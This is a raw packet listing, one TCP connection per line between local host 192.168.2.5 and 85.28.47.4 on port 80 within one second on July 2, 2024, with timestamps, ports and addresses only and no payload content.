Jul 2, 2024 04:11:59.715344906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715367079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715387106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715426922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715559959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715569019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715584993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715595961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715600014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715610981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715625048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715632915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715641022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715651035 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715663910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715696096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715713978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715723991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715739965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715750933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715754986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715784073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715806961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.715846062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.715883970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.716043949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.716094971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.784123898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.784136057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.784153938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.784188032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.784216881 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.784256935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.784271955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.784285069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.784290075 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.784298897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.784322023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.784347057 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.789532900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.789546013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.789587021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.789649963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.789652109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.789670944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.789686918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.789693117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.789701939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.789711952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.789745092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.796823978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.796835899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.796853065 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.796864986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.796880960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.796928883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.796997070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797024965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797041893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797044992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797055006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797085047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797094107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797099113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797110081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797137022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797137976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797146082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797178030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797183037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797188997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797218084 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797226906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797235012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797246933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797262907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797281027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797287941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797312021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797314882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797338963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797339916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797354937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797380924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797385931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797411919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797416925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797424078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797458887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797458887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797480106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797487020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797502995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797528982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797538042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797549009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797583103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797764063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797775030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797795057 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797805071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797826052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797827959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797840118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797868013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797868967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797878981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797909021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797909021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797930956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797940969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797944069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797956944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.797980070 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.797997952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.798480034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.798490047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.798511028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.798521996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.798532963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.798549891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.798573017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.798573017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.798594952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.798624039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.798634052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.798643112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.798681974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.798691988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.803395987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803409100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803417921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803427935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803442001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803525925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.803549051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803560972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803569078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.803579092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803591967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803601980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.803606987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803621054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803636074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.803637028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803670883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.803690910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803700924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803711891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.803719997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803735971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.803774118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.803858995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803868055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803884029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.803903103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.803920031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804028988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804049015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804058075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804063082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804075956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804081917 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804089069 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804104090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804105043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804126978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804178953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804203987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804214954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804233074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804239988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804248095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804270983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804295063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804371119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804383993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804399967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804403067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804409027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804425955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804450989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804541111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804557085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804572105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804574966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804591894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804613113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804807901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804828882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804837942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804847002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804857969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804866076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804872990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804883003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804894924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804900885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804913998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804920912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804944038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804950953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804960012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804970026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.804979086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.804987907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805001020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805006027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805016994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805028915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805042982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805047989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805068970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805079937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805100918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805124044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805269957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805279970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805294991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805308104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805310011 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805325985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805349112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805452108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805464983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805480003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805483103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805495977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805507898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805511951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805531025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805561066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.805588007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.805622101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.872766972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.872782946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.872790098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.872953892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.873003960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.873027086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.873038054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.873054981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.873060942 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.873070955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.873075962 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.873101950 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.873127937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.879069090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.879080057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.879096985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.879144907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.879152060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.879154921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.879172087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.879187107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.879189968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.879209995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.879239082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886035919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886125088 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886128902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886142969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886157036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886166096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886172056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886181116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886190891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886194944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886203051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886215925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886228085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886234045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886238098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886250973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886261940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886265993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886276007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886286020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886291981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886298895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886307955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886317968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886322021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886337042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886358976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886372089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886382103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886396885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886414051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886430025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886440039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886440992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886460066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886471033 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886471987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886497021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886518955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886543989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886579037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886589050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886607885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886624098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886632919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886634111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886648893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886672020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886678934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886691093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886715889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886811972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886830091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886845112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886857986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886858940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886867046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886877060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886887074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886887074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886903048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886904955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.886925936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.886948109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.887518883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.887573004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.887651920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.887706995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.887741089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.887751102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.887769938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.887780905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.887789011 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.887794971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.887813091 CEST	49704	80	192.168.2.5	85.28.47.4
